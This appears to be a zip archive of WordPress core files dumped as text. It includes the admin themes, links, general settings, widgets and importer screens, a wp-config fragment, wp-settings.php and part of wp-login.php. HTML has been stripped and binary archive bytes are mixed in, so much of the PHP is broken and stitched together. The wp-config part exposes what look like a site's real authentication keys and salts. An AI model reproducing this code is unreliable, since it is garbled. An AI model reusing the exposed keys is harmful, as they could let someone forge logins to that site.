', 403 ); } $active = wp_get_theme(); if ( $active->get( 'Template' ) === $_GET['stylesheet'] ) { wp_redirect( admin_url( 'themes.php?delete-active-child=true' ) ); } else { delete_theme( $_GET['stylesheet'] ); wp_redirect( admin_url( 'themes.php?deleted=true' ) ); } exit; } elseif ( 'enable-auto-update' === $_GET['action'] ) { if ( ! ( current_user_can( 'update_themes' ) && wp_is_auto_update_enabled_for_type( 'theme' ) ) ) { wp_die( __( 'Sorry, you are not allowed to enable themes automatic updates.' ) ); } check_admin_referer( 'updates' ); $all_items = wp_get_themes(); $auto_updates = (array) get_site_option( 'auto_update_themes', array() ); $auto_updates[] = $_GET['stylesheet']; $auto_updates = array_unique( $auto_updates ); // Remove themes that have been deleted since the site option was last updated. $auto_updates = array_intersect( $auto_updates, array_keys( $all_items ) ); update_site_option( 'auto_update_themes', $auto_updates ); wp_redirect( admin_url( 'themes.php?enabled-auto-update=true' ) ); exit; } elseif ( 'disable-auto-update' === $_GET['action'] ) { if ( ! ( current_user_can( 'update_themes' ) && wp_is_auto_update_enabled_for_type( 'theme' ) ) ) { wp_die( __( 'Sorry, you are not allowed to disable themes automatic updates.' ) ); } check_admin_referer( 'updates' ); $all_items = wp_get_themes(); $auto_updates = (array) get_site_option( 'auto_update_themes', array() ); $auto_updates = array_diff( $auto_updates, array( $_GET['stylesheet'] ) ); // Remove themes that have been deleted since the site option was last updated. $auto_updates = array_intersect( $auto_updates, array_keys( $all_items ) ); update_site_option( 'auto_update_themes', $auto_updates ); wp_redirect( admin_url( 'themes.php?disabled-auto-update=true' ) ); exit; } } // Used in the HTML title tag. $title = __( 'Themes' ); $parent_file = 'themes.php'; // Help tab: Overview. if ( current_user_can( 'switch_themes' ) ) { $help_overview = '

' . __( 'This screen is used for managing your installed themes. Aside from the default theme(s) included with your WordPress installation, themes are designed and developed by third parties.' ) . '

' . '

' . __( 'From this screen you can:' ) . '

' . '
  • ' . __( 'Hover or tap to see Activate and Live Preview buttons' ) . '
  • ' . '
  • ' . __( 'Click on the theme to see the theme name, version, author, description, tags, and the Delete link' ) . '
  • ' . '
  • ' . __( 'Click Customize for the active theme or Live Preview for any other theme to see a live preview' ) . '
' . '

' . __( 'The active theme is displayed highlighted as the first theme.' ) . '

' . '

' . __( 'The search for installed themes will search for terms in their name, description, author, or tag.' ) . ' ' . __( 'The search results will be updated as you type.' ) . '

'; get_current_screen()->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => $help_overview, ) ); } // End if 'switch_themes'. // Help tab: Adding Themes. if ( current_user_can( 'install_themes' ) ) { if ( is_multisite() ) { $help_install = '

' . __( 'Installing themes on Multisite can only be done from the Network Admin section.' ) . '

'; } else { $help_install = '

' . sprintf( /* translators: %s: https://wordpress.org/themes/ */ __( 'If you would like to see more themes to choose from, click on the “Add New” button and you will be able to browse or search for additional themes from the WordPress Theme Directory. Themes in the WordPress Theme Directory are designed and developed by third parties, and are compatible with the license WordPress uses. Oh, and they’re free!' ), __( 'https://wordpress.org/themes/' ) ) . '

'; } get_current_screen()->add_help_tab( array( 'id' => 'adding-themes', 'title' => __( 'Adding Themes' ), 'content' => $help_install, ) ); } // End if 'install_themes'. // Help tab: Previewing and Customizing. if ( current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) { $help_customize = '

' . __( 'Tap or hover on any theme then click the Live Preview button to see a live preview of that theme and change theme options in a separate, full-screen view. You can also find a Live Preview button at the bottom of the theme details screen. Any installed theme can be previewed and customized in this way.' ) . '

' . '

' . __( 'The theme being previewed is fully interactive — navigate to different pages to see how the theme handles posts, archives, and other page templates. The settings may differ depending on what theme features the theme being previewed supports. To accept the new settings and activate the theme all in one step, click the Activate & Publish button above the menu.' ) . '

' . '

' . __( 'When previewing on smaller monitors, you can use the collapse icon at the bottom of the left-hand pane. This will hide the pane, giving you more room to preview your site in the new theme. To bring the pane back, click on the collapse icon again.' ) . '

'; get_current_screen()->add_help_tab( array( 'id' => 'customize-preview-themes', 'title' => __( 'Previewing and Customizing' ), 'content' => $help_customize, ) ); } // End if 'edit_theme_options' && 'customize'. $help_sidebar_autoupdates = ''; // Help tab: Auto-updates. if ( current_user_can( 'update_themes' ) && wp_is_auto_update_enabled_for_type( 'theme' ) ) { $help_tab_autoupdates = '

' . __( 'Auto-updates can be enabled or disabled for each individual theme. Themes with auto-updates enabled will display the estimated date of the next auto-update. Auto-updates depends on the WP-Cron task scheduling system.' ) . '

' . '

' . __( 'Please note: Third-party themes and plugins, or custom code, may override WordPress scheduling.' ) . '

'; get_current_screen()->add_help_tab( array( 'id' => 'plugins-themes-auto-updates', 'title' => __( 'Auto-updates' ), 'content' => $help_tab_autoupdates, ) ); $help_sidebar_autoupdates = '

' . __( 'Learn more: Auto-updates documentation' ) . '

'; } // End if 'update_themes' && 'wp_is_auto_update_enabled_for_type'. get_current_screen()->set_help_sidebar( '

' . __( 'For more information:' ) . '

' . '

' . __( 'Documentation on Using Themes' ) . '

' . '

' . __( 'Documentation on Managing Themes' ) . '

' . $help_sidebar_autoupdates . '

' . __( 'Support' ) . '

' ); if ( current_user_can( 'switch_themes' ) ) { $themes = wp_prepare_themes_for_js(); } else { $themes = wp_prepare_themes_for_js( array( wp_get_theme() ) ); } wp_reset_vars( array( 'theme', 'search' ) ); wp_localize_script( 'theme', '_wpThemeSettings', array( 'themes' => $themes, 'settings' => array( 'canInstall' => ( ! is_multisite() && current_user_can( 'install_themes' ) ), 'installURI' => ( ! is_multisite() && current_user_can( 'install_themes' ) ) ? admin_url( 'theme-install.php' ) : null, 'confirmDelete' => __( "Are you sure you want to delete this theme?\n\nClick 'Cancel' to go back, 'OK' to confirm the delete." ), 'adminUrl' => parse_url( admin_url(), PHP_URL_PATH ), ), 'l10n' => array( 'addNew' => __( 'Add New Theme' ), 'search' => __( 'Search Installed Themes' ), 'searchPlaceholder' => __( 'Search installed themes...' ), // Placeholder (no ellipsis). /* translators: %d: Number of themes. */ 'themesFound' => __( 'Number of Themes found: %d' ), 'noThemesFound' => __( 'No themes found. Try a different search.' ), ), ) ); add_thickbox(); wp_enqueue_script( 'theme' ); wp_enqueue_script( 'updates' ); require_once ABSPATH . 'wp-admin/admin-header.php'; ?>


fatal error.' ); ?>

errors() && ( ! is_multisite() || current_user_can( 'manage_network_themes' ) ) ) { echo '

' . __( 'Error:' ) . ' ' . $current_theme->errors()->get_error_message() . '

'; } $current_theme_actions = array(); if ( is_array( $submenu ) && isset( $submenu['themes.php'] ) ) { $forbidden_paths = array( 'themes.php', 'theme-editor.php', 'site-editor.php', 'edit.php?post_type=wp_navigation', ); foreach ( (array) $submenu['themes.php'] as $item ) { $class = ''; if ( in_array( $item[2], $forbidden_paths, true ) || str_starts_with( $item[2], 'customize.php' ) ) { continue; } // 0 = name, 1 = capability, 2 = file. if ( 0 === strcmp( $self, $item[2] ) && empty( $parent_file ) || $parent_file && $item[2] === $parent_file ) { $class = ' current'; } if ( ! empty( $submenu[ $item[2] ] ) ) { $submenu[ $item[2] ] = array_values( $submenu[ $item[2] ] ); // Re-index. $menu_hook = get_plugin_page_hook( $submenu[ $item[2] ][0][2], $item[2] ); if ( file_exists( WP_PLUGIN_DIR . "/{$submenu[$item[2]][0][2]}" ) || ! empty( $menu_hook ) ) { $current_theme_actions[] = "{$item[0]}"; } else { $current_theme_actions[] = "{$item[0]}"; } } elseif ( ! empty( $item[2] ) && current_user_can( $item[1] ) ) { $menu_file = $item[2]; if ( current_user_can( 'customize' ) ) { if ( 'custom-header' === $menu_file ) { $current_theme_actions[] = "{$item[0]}"; } elseif ( 'custom-background' === $menu_file ) { $current_theme_actions[] = "{$item[0]}"; } } $pos = strpos( $menu_file, '?' ); if ( false !== $pos ) { $menu_file = substr( $menu_file, 0, $pos ); } if ( file_exists( ABSPATH . "wp-admin/$menu_file" ) ) { $current_theme_actions[] = "{$item[0]}"; } else { $current_theme_actions[] = "{$item[0]}"; } } } } $class_name = 'theme-browser'; if ( ! empty( $_GET['search'] ) ) { $class_name .= ' search-loading'; } ?>

Update now' ); ?>

Please update WordPress, and then learn more about updating PHP.' ), self_admin_url( 'update-core.php' ), esc_url( wp_get_update_php_url() ) ); wp_update_php_annotation( '

', '' ); } elseif ( current_user_can( 'update_core' ) ) { printf( /* translators: %s: URL to WordPress Updates screen. */ ' ' . __( 'Please update WordPress.' ), self_admin_url( 'update-core.php' ) ); } elseif ( current_user_can( 'update_php' ) ) { printf( /* translators: %s: URL to Update PHP page. */ ' ' . __( 'Learn more about updating PHP.' ), esc_url( wp_get_update_php_url() ) ); wp_update_php_annotation( '

', '' ); } } elseif ( ! $theme['updateResponse']['compatibleWP'] ) { printf( /* translators: %s: Theme name. */ __( 'There is a new version of %s available, but it does not work with your version of WordPress.' ), $theme['name'] ); if ( current_user_can( 'update_core' ) ) { printf( /* translators: %s: URL to WordPress Updates screen. */ ' ' . __( 'Please update WordPress.' ), self_admin_url( 'update-core.php' ) ); } } elseif ( ! $theme['updateResponse']['compatiblePHP'] ) { printf( /* translators: %s: Theme name. */ __( 'There is a new version of %s available, but it does not work with your version of PHP.' ), $theme['name'] ); if ( current_user_can( 'update_php' ) ) { printf( /* translators: %s: URL to Update PHP page. */ ' ' . __( 'Learn more about updating PHP.' ), esc_url( wp_get_update_php_url() ) ); wp_update_php_annotation( '

', '' ); } } ?>

'; if ( ! $theme['compatibleWP'] && ! $theme['compatiblePHP'] ) { _e( 'This theme does not work with your versions of WordPress and PHP.' ); if ( current_user_can( 'update_core' ) && current_user_can( 'update_php' ) ) { printf( /* translators: 1: URL to WordPress Updates screen, 2: URL to Update PHP page. */ ' ' . __( 'Please update WordPress, and then learn more about updating PHP.' ), self_admin_url( 'update-core.php' ), esc_url( wp_get_update_php_url() ) ); wp_update_php_annotation( '

', '' ); } elseif ( current_user_can( 'update_core' ) ) { printf( /* translators: %s: URL to WordPress Updates screen. */ ' ' . __( 'Please update WordPress.' ), self_admin_url( 'update-core.php' ) ); } elseif ( current_user_can( 'update_php' ) ) { printf( /* translators: %s: URL to Update PHP page. */ ' ' . __( 'Learn more about updating PHP.' ), esc_url( wp_get_update_php_url() ) ); wp_update_php_annotation( '

', '' ); } } elseif ( ! $theme['compatibleWP'] ) { _e( 'This theme does not work with your version of WordPress.' ); if ( current_user_can( 'update_core' ) ) { printf( /* translators: %s: URL to WordPress Updates screen. */ ' ' . __( 'Please update WordPress.' ), self_admin_url( 'update-core.php' ) ); } } elseif ( ! $theme['compatiblePHP'] ) { _e( 'This theme does not work with your version of PHP.' ); if ( current_user_can( 'update_php' ) ) { printf( /* translators: %s: URL to Update PHP page. */ ' ' . __( 'Learn more about updating PHP.' ), esc_url( wp_get_update_php_url() ) ); wp_update_php_annotation( '

', '' ); } } echo '

'; } ?>

true ) ); if ( ! is_multisite() && $broken_themes ) { ?>

errors()->get_error_code() ) { $stylesheet = $broken_theme->get_stylesheet(); $resume_url = add_query_arg( array( 'action' => 'resume', 'stylesheet' => urlencode( $stylesheet ), ), admin_url( 'themes.php' ) ); $resume_url = wp_nonce_url( $resume_url, 'resume-theme_' . $stylesheet ); ?> get_stylesheet(); $delete_url = add_query_arg( array( 'action' => 'delete', 'stylesheet' => urlencode( $stylesheet ), ), admin_url( 'themes.php' ) ); $delete_url = wp_nonce_url( $delete_url, 'delete-theme_' . $stylesheet ); ?> errors()->get_error_code() ) { $parent_theme_name = $broken_theme->get( 'Template' ); $parent_theme = themes_api( 'theme_information', array( 'slug' => urlencode( $parent_theme_name ) ) ); if ( ! is_wp_error( $parent_theme ) ) { $install_url = add_query_arg( array( 'action' => 'install-theme', 'theme' => urlencode( $parent_theme_name ), ), admin_url( 'update.php' ) ); $install_url = wp_nonce_url( $install_url, 'install-theme_' . $parent_theme_name ); ?>
get( 'Name' ) ? $broken_theme->display( 'Name' ) : esc_html( $broken_theme->get_stylesheet() ); ?> errors()->get_error_message(); ?>
<# if ( data.autoupdate.supported ) { #> <# if ( data.autoupdate.forced === false ) { #> ' . __( 'Auto-updates disabled' ) . ' <# } else if ( data.autoupdate.forced ) { #> ' . __( 'Auto-updates enabled' ) . ' <# } else if ( data.autoupdate.enabled ) { #> <# } else { #> <# } #> <# } #> <# if ( data.hasUpdate ) { #> <# if ( data.autoupdate.supported && data.autoupdate.enabled ) { #> <# } else { #> <# } #> '; /** * Filters the JavaScript template used to display the auto-update setting for a theme (in the overlay). * * See {@see wp_prepare_themes_for_js()} for the properties of the `data` object. * * @since 5.5.0 * * @param string $template The template for displaying the auto-update setting link. */ return apply_filters( 'theme_auto_update_setting_template', $template ); } /* * The tmpl-theme template is synchronized with PHP above! */ ?> wp_get_update_data(), ) ); require_once ABSPATH . 'wp-admin/admin-footer.php'; PK@0]YY wp-admin/link.phpnu[query("update $wpdb->links SET link_category='$category' WHERE link_id IN ($all_links)"); */ wp_redirect( $this_file ); exit; case 'add': check_admin_referer( 'add-bookmark' ); $redir = wp_get_referer(); if ( add_link() ) { $redir = add_query_arg( 'added', 'true', $redir ); } wp_redirect( $redir ); exit; case 'save': $link_id = (int) $_POST['link_id']; check_admin_referer( 'update-bookmark_' . $link_id ); edit_link( $link_id ); wp_redirect( $this_file ); exit; case 'delete': $link_id = (int) $_GET['link_id']; check_admin_referer( 'delete-bookmark_' . $link_id ); wp_delete_link( $link_id ); wp_redirect( $this_file ); exit; case 'edit': wp_enqueue_script( 'link' ); wp_enqueue_script( 'xfn' ); if ( wp_is_mobile() ) { wp_enqueue_script( 'jquery-touch-punch' ); } $parent_file = 'link-manager.php'; $submenu_file = 'link-manager.php'; // Used in the HTML title tag. $title = __( 'Edit Link' ); $link_id = (int) $_GET['link_id']; $link = get_link_to_edit( $link_id ); if ( ! $link ) { wp_die( __( 'Link not found.' ) ); } require ABSPATH . 'wp-admin/edit-link-form.php'; require_once ABSPATH . 'wp-admin/admin-footer.php'; break; default: break; } PK@0] 4$מ::wp-admin/options-general.phpnu[' . __( 'The fields on this screen determine some of the basics of your site setup.' ) . '

' . '

' . __( 'Most themes display the site title at the top of every page, in the title bar of the browser, and as the identifying name for syndicated feeds. The tagline is also displayed by many themes.' ) . '

'; if ( ! is_multisite() ) { $options_help .= '

' . __( 'The WordPress URL and the site URL can be the same (example.com) or different; for example, having the WordPress core files (example.com/wordpress) in a subdirectory instead of the root directory.' ) . '

' . '

' . __( 'If you want site visitors to be able to register themselves, as opposed to by the site administrator, check the membership box. A default user role can be set for all new users, whether self-registered or registered by the site admin.' ) . '

'; } $options_help .= '

' . __( 'You can set the language, and the translation files will be automatically downloaded and installed (available if your filesystem is writable).' ) . '

' . '

' . __( 'UTC means Coordinated Universal Time.' ) . '

' . '

' . __( 'You must click the Save Changes button at the bottom of the screen for new settings to take effect.' ) . '

'; get_current_screen()->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => $options_help, ) ); get_current_screen()->set_help_sidebar( '

' . __( 'For more information:' ) . '

' . '

' . __( 'Documentation on General Settings' ) . '

' . '

' . __( 'Support' ) . '

' ); require_once ABSPATH . 'wp-admin/admin-header.php'; ?>

PK@0]8\XXwp-admin/widgets.phpnu[' . __( 'You need a higher level of permission.' ) . '' . '

' . __( 'Sorry, you are not allowed to edit theme options on this site.' ) . '

', 403 ); } if ( ! current_theme_supports( 'widgets' ) ) { wp_die( __( 'The theme you are currently using is not widget-aware, meaning that it has no sidebars that you are able to change. For information on making your theme widget-aware, please follow these instructions.' ) ); } // Used in the HTML title tag. $title = __( 'Widgets' ); $parent_file = 'themes.php'; if ( wp_use_widgets_block_editor() ) { require ABSPATH . 'wp-admin/widgets-form-blocks.php'; } else { require ABSPATH . 'wp-admin/widgets-form.php'; } PK@0]wp-admin/link-add.phpnu[add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => '

' . __( 'This screen lists links to plugins to import data from blogging/content management platforms. Choose the platform you want to import from, and click Install Now when you are prompted in the popup window. If your platform is not listed, click the link to search the plugin directory for other importer plugins to see if there is one for your platform.' ) . '

' . '

' . __( 'In previous versions of WordPress, all importers were built-in. They have been turned into plugins since most people only use them once or infrequently.' ) . '

', ) ); get_current_screen()->set_help_sidebar( '

' . __( 'For more information:' ) . '

' . '

' . __( 'Documentation on Import' ) . '

' . '

' . __( 'Support' ) . '

' ); if ( current_user_can( 'install_plugins' ) ) { // List of popular importer plugins from the WordPress.org API. $popular_importers = wp_get_popular_importers(); } else { $popular_importers = array(); } // Detect and redirect invalid importers like 'movabletype', which is registered as 'mt'. if ( ! empty( $_GET['invalid'] ) && isset( $popular_importers[ $_GET['invalid'] ] ) ) { $importer_id = $popular_importers[ $_GET['invalid'] ]['importer-id']; if ( $importer_id !== $_GET['invalid'] ) { // Prevent redirect loops. wp_redirect( admin_url( 'admin.php?import=' . $importer_id ) ); exit; } unset( $importer_id ); } add_thickbox(); wp_enqueue_script( 'plugin-install' ); wp_enqueue_script( 'updates' ); require_once ABSPATH . 'wp-admin/admin-header.php'; $parent_file = 'tools.php'; ?>

' . esc_html( $_GET['invalid'] ) . '' ); ?>

$pop_data ) { if ( isset( $importers[ $pop_importer ] ) ) { continue; } if ( isset( $importers[ $pop_data['importer-id'] ] ) ) { continue; } // Fill the array of registered (already installed) importers with data of the popular importers from the WordPress.org API. $importers[ $pop_data['importer-id'] ] = array( $pop_data['name'], $pop_data['description'], 'install' => $pop_data['plugin-slug'], ); } if ( empty( $importers ) ) { echo '

' . __( 'No importers are available.' ) . '

'; // TODO: Make more helpful. } else { uasort( $importers, '_usort_by_first_member' ); ?> $data ) { $plugin_slug = ''; $action = ''; $is_plugin_installed = false; if ( isset( $data['install'] ) ) { $plugin_slug = $data['install']; if ( file_exists( WP_PLUGIN_DIR . '/' . $plugin_slug ) ) { // Looks like an importer is installed, but not active. $plugins = get_plugins( '/' . $plugin_slug ); if ( ! empty( $plugins ) ) { $keys = array_keys( $plugins ); $plugin_file = $plugin_slug . '/' . $keys[0]; $url = wp_nonce_url( add_query_arg( array( 'action' => 'activate', 'plugin' => $plugin_file, 'from' => 'import', ), admin_url( 'plugins.php' ) ), 'activate-plugin_' . $plugin_file ); $action = sprintf( '%s', esc_url( $url ), /* translators: %s: Importer name. */ esc_attr( sprintf( __( 'Run %s' ), $data[0] ) ), __( 'Run Importer' ) ); $is_plugin_installed = true; } } if ( empty( $action ) ) { if ( is_main_site() ) { $url = wp_nonce_url( add_query_arg( array( 'action' => 'install-plugin', 'plugin' => $plugin_slug, 'from' => 'import', ), self_admin_url( 'update.php' ) ), 'install-plugin_' . $plugin_slug ); $action = sprintf( '%5$s', esc_url( $url ), esc_attr( $plugin_slug ), esc_attr( $data[0] ), /* translators: %s: Importer name. */ esc_attr( sprintf( _x( 'Install %s now', 'plugin' ), $data[0] ) ), __( 'Install Now' ) ); } else { $action = sprintf( /* translators: %s: URL to Import screen on the main site. */ __( 'This importer is not installed. Please install importers from the main site.' ), get_admin_url( get_current_network_id(), 'import.php' ) ); } } } else { $url = add_query_arg( array( 'import' => $importer_id, ), self_admin_url( 'admin.php' ) ); $action = sprintf( '%3$s', esc_url( $url ), /* translators: %s: Importer name. */ esc_attr( sprintf( __( 'Run %s' ), $data[0] ) ), __( 'Run Importer' ) ); $is_plugin_installed = true; } if ( ! $is_plugin_installed && is_main_site() ) { $url = add_query_arg( array( 'tab' => 'plugin-information', 'plugin' => $plugin_slug, 'from' => 'import', 'TB_iframe' => 'true', 'width' => 600, 'height' => 550, ), network_admin_url( 'plugin-install.php' ) ); $action .= sprintf( ' | %3$s', esc_url( $url ), /* translators: %s: Importer name. */ esc_attr( sprintf( __( 'More information about %s' ), $data[0] ) ), __( 'Details' ) ); } echo " "; } ?>
{$data[0]} {$action} {$data[1]}
' . sprintf( /* translators: %s: URL to Add Plugins screen. */ __( 'If the importer you need is not listed, search the plugin directory to see if an importer is available.' ), esc_url( network_admin_url( 'plugin-install.php?tab=search&type=tag&s=importer' ) ) ) . '

'; } ?>
nGtrTq SDvu`_jfugHp`Du}jh(rqv4(CHWe%+7&J{R>iX*3|+p6KJ8'); define('SECURE_AUTH_KEY', '2Q1/X6A#Q_}|keVS(qfd%+beR+` n8QCdm=]G^-A~WH*}|hhK/tl5wO|i!}Nt7CN'); define('LOGGED_IN_KEY', 'Df)UDAEpJop)(r-8 <3|.UKN`Q`RI6Kk5PObs{k6nH%x,D[o|@J}^-IYXKf4n8D5'); define('NONCE_KEY', '7t?LzkEX`DMBjFAQ_[tU2+JT|$ Dd#]*1I$tBui= [lO(U.:5MSC>-= 8zbd!GEDr'); define('LOGGED_IN_SALT', '_+HXT42ogVs:Db[%)%^.Q=Ya;w3aVF~)vC`h8_DdwIinitialize(); } // Load active plugins. foreach ( wp_get_active_and_valid_plugins() as $plugin ) { wp_register_plugin_realpath( $plugin ); $_wp_plugin_file = $plugin; include_once $plugin; $plugin = $_wp_plugin_file; // Avoid stomping of the $plugin variable in a plugin. /** * Fires once a single activated plugin has loaded. * * @since 5.1.0 * * @param string $plugin Full path to the plugin's main file. */ do_action( 'plugin_loaded', $plugin ); } unset( $plugin, $_wp_plugin_file ); // Load pluggable functions. require ABSPATH . WPINC . '/pluggable.php'; require ABSPATH . WPINC . '/pluggable-deprecated.php'; // Set internal encoding. wp_set_internal_encoding(); // Run wp_cache_postload() if object cache is enabled and the function exists. if ( WP_CACHE && function_exists( 'wp_cache_postload' ) ) { wp_cache_postload(); } /** * Fires once activated plugins have loaded. * * Pluggable functions are also available at this point in the loading order. * * @since 1.5.0 */ do_action( 'plugins_loaded' ); // Define constants which affect functionality if not already defined. wp_functionality_constants(); // Add magic quotes and set up $_REQUEST ( $_GET + $_POST ). wp_magic_quotes(); /** * Fires when comment cookies are sanitized. * * @since 2.0.11 */ do_action( 'sanitize_comment_cookies' ); /** * WordPress Query object * * @global WP_Query $wp_the_query WordPress Query object. * @since 2.0.0 */ $GLOBALS['wp_the_query'] = new WP_Query(); /** * Holds the reference to @see $wp_the_query * Use this global for WordPress queries * * @global WP_Query $wp_query WordPress Query object. * @since 1.5.0 */ $GLOBALS['wp_query'] = $GLOBALS['wp_the_query']; /** * Holds the WordPress Rewrite object for creating pretty URLs * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * @since 1.5.0 */ $GLOBALS['wp_rewrite'] = new WP_Rewrite(); /** * WordPress Object * * @global WP $wp Current WordPress environment instance. * @since 2.0.0 */ $GLOBALS['wp'] = new WP(); /** * WordPress Widget Factory Object * * @global WP_Widget_Factory $wp_widget_factory * @since 2.8.0 */ $GLOBALS['wp_widget_factory'] = new WP_Widget_Factory(); /** * WordPress User Roles * * @global WP_Roles $wp_roles WordPress role management object. * @since 2.0.0 */ $GLOBALS['wp_roles'] = new WP_Roles(); /** * Fires before the theme is loaded. * * @since 2.6.0 */ do_action( 'setup_theme' ); // Define the template related constants. wp_templating_constants(); // Load the default text localization domain. load_default_textdomain(); $locale = get_locale(); $locale_file = WP_LANG_DIR . "/$locale.php"; if ( ( 0 === validate_file( $locale ) ) && is_readable( $locale_file ) ) { require $locale_file; } unset( $locale_file ); /** * WordPress Locale object for loading locale domain date and various strings. * * @global WP_Locale $wp_locale WordPress date and time locale object. * @since 2.1.0 */ $GLOBALS['wp_locale'] = new WP_Locale(); /** * WordPress Locale Switcher object for switching locales. * * @since 4.7.0 * * @global WP_Locale_Switcher $wp_locale_switcher WordPress locale switcher object. */ $GLOBALS['wp_locale_switcher'] = new WP_Locale_Switcher(); $GLOBALS['wp_locale_switcher']->init(); // Load the functions for the active theme, for both parent and child theme if applicable. foreach ( wp_get_active_and_valid_themes() as $theme ) { if ( file_exists( $theme . '/functions.php' ) ) { include $theme . '/functions.php'; } } unset( $theme ); /** * Fires after the theme is loaded. * * @since 3.0.0 */ do_action( 'after_setup_theme' ); // Create an instance of WP_Site_Health so that Cron events may fire. if ( ! class_exists( 'WP_Site_Health' ) ) { require_once ABSPATH . 'wp-admin/includes/class-wp-site-health.php'; } WP_Site_Health::get_instance(); // Set up current user. $GLOBALS['wp']->init(); /** * Fires after WordPress has finished loading but before any headers are sent. * * Most of WP is loaded at this stage, and the user is authenticated. WP continues * to load on the {@see 'init'} hook that follows (e.g. widgets), and many plugins instantiate * themselves on it for all sorts of reasons (e.g. they need a user, a taxonomy, etc.). * * If you wish to plug an action once WP is loaded, use the {@see 'wp_loaded'} hook below. * * @since 1.5.0 */ do_action( 'init' ); // Check site status. if ( is_multisite() ) { $file = ms_site_check(); if ( true !== $file ) { require $file; die(); } unset( $file ); } /** * This hook is fired once WP, all plugins, and the theme are fully loaded and instantiated. * * Ajax requests should use wp-admin/admin-ajax.php. admin-ajax.php can handle requests for * users not logged in. * * @link https://codex.wordpress.org/AJAX_in_Plugins * * @since 3.0.0 */ do_action( 'wp_loaded' ); PK@0]{err wp-login.phpnu[` element. * Default 'Log In'. * @param string $message Optional. Message to display in header. Default empty. * @param WP_Error $wp_error Optional. The error to pass. Default is a WP_Error instance. */ function login_header( $title = 'Log In', $message = '', $wp_error = null ) { global $error, $interim_login, $action; // Don't index any of these forms. add_filter( 'wp_robots', 'wp_robots_sensitive_page' ); add_action( 'login_head', 'wp_strict_cross_origin_referrer' ); add_action( 'login_head', 'wp_login_viewport_meta' ); if ( ! is_wp_error( $wp_error ) ) { $wp_error = new WP_Error(); } // Shake it! $shake_error_codes = array( 'empty_password', 'empty_email', 'invalid_email', 'invalidcombo', 'empty_username', 'invalid_username', 'incorrect_password', 'retrieve_password_email_failure' ); /** * Filters the error codes array for shaking the login form. * * @since 3.0.0 * * @param string[] $shake_error_codes Error codes that shake the login form. */ $shake_error_codes = apply_filters( 'shake_error_codes', $shake_error_codes ); if ( $shake_error_codes && $wp_error->has_errors() && in_array( $wp_error->get_error_code(), $shake_error_codes, true ) ) { add_action( 'login_footer', 'wp_shake_js', 12 ); } $login_title = get_bloginfo( 'name', 'display' ); /* translators: Login screen title. 1: Login screen name, 2: Network or site name. */ $login_title = sprintf( __( '%1$s ‹ %2$s — WordPress' ), $title, $login_title ); if ( wp_is_recovery_mode() ) { /* translators: %s: Login screen title. */ $login_title = sprintf( __( 'Recovery Mode — %s' ), $login_title ); } /** * Filters the title tag content for login page. * * @since 4.9.0 * * @param string $login_title The page title, with extra context added. * @param string $title The original page title. */ $login_title = apply_filters( 'login_title', $login_title, $title ); ?> > <?php echo $login_title; ?> get_error_code() ) { ?>

add( 'error', $error ); unset( $error ); } if ( $wp_error->has_errors() ) { $errors = ''; $messages = ''; foreach ( $wp_error->get_error_codes() as $code ) { $severity = $wp_error->get_error_data( $code ); foreach ( $wp_error->get_error_messages( $code ) as $error_message ) { if ( 'message' === $severity ) { $messages .= ' ' . $error_message . "
\n"; } else { $errors .= ' ' . $error_message . "
\n"; } } } if ( ! empty( $errors ) ) { /** * Filters the error messages displayed above the login form. * * @since 2.1.0 * * @param string $errors Login error message. */ echo '
' . apply_filters( 'login_errors', $errors ) . "
\n"; } if ( ! empty( $messages ) ) { /** * Filters instructional messages displayed above the login form. * * @since 2.5.0 * * @param string $messages Login messages. */ echo '

' . apply_filters( 'login_messages', $messages ) . "

\n"; } } } // End of login_header(). /** * Outputs the footer for the login page. * * @since 3.1.0 * * @global bool|string $interim_login Whether interim login modal is being displayed. String 'success' * upon successful login. * * @param string $input_id Which input to auto-focus. */ function login_footer( $input_id = '' ) { global $interim_login; // Don't allow interim logins to navigate away from the page. if ( ! $interim_login ) { ?>

%s', esc_url( home_url( '/' ) ), sprintf( /* translators: %s: Site title. */ _x( '← Go to %s', 'site' ), get_bloginfo( 'title', 'display' ) ) ); /** * Filter the "Go to site" link displayed in the login page footer. * * @since 5.7.0 * * @param string $link HTML link to the home URL of the current site. */ echo apply_filters( 'login_site_html_link', $html_link ); ?>

', '
' ); } ?> . ?>
'language-switcher-locales', 'name' => 'wp_lang', 'selected' => determine_locale(), 'show_available_translations' => false, 'explicit_option_en_us' => true, 'languages' => $languages, ); /** * Filters default arguments for the Languages select input on the login screen. * * @since 5.9.0 * * @param array $args Arguments for the Languages select input on the login screen. */ wp_dropdown_languages( apply_filters( 'login_language_dropdown_args', $args ) ); ?>
0 ) { update_option( 'admin_email_lifespan', time() + $remind_interval ); } $redirect_to = add_query_arg( 'admin_email_remind_later', 1, $redirect_to ); wp_safe_redirect( $redirect_to ); exit; } if ( ! empty( $_POST['correct-admin-email'] ) ) { if ( ! check_admin_referer( 'confirm_admin_email', 'confirm_admin_email_nonce' ) ) { wp_safe_redirect( wp_login_url() ); exit; } /** * Filters the interval for redirecting the user to the admin email confirmation screen. * * If `0` (zero) is returned, the user will not be redirected. * * @since 5.3.0 * * @param int $interval Interval time (in seconds). Default is 6 months. */ $admin_email_check_interval = (int) apply_filters( 'admin_email_check_interval', 6 * MONTH_IN_SECONDS ); if ( $admin_email_check_interval > 0 ) { update_option( 'admin_email_lifespan', time() + $admin_email_check_interval ); } wp_safe_redirect( $redirect_to ); exit; } login_header( __( 'Confirm your administration email' ), '', $errors ); /** * Fires before the admin email confirm form. * * @since 5.3.0 * * @param WP_Error $errors A `WP_Error` object containing any errors generated by using invalid * credentials. Note that the error object may not contain any errors. */ do_action( 'admin_email_confirm', $errors ); ?>

administration email for this website is still correct.' ); ?> %s', __( '(opens in a new tab)' ) ); printf( '%s%s', esc_url( $admin_email_help_url ), __( 'Why is this important?' ), $accessibility_text ); ?>

' . esc_html( $admin_email ) . '' ); ?>

0 ) : ?>
'confirm_admin_email', 'remind_me_later' => wp_create_nonce( 'remind_me_later_nonce' ), ), $remind_me_link ); ?>
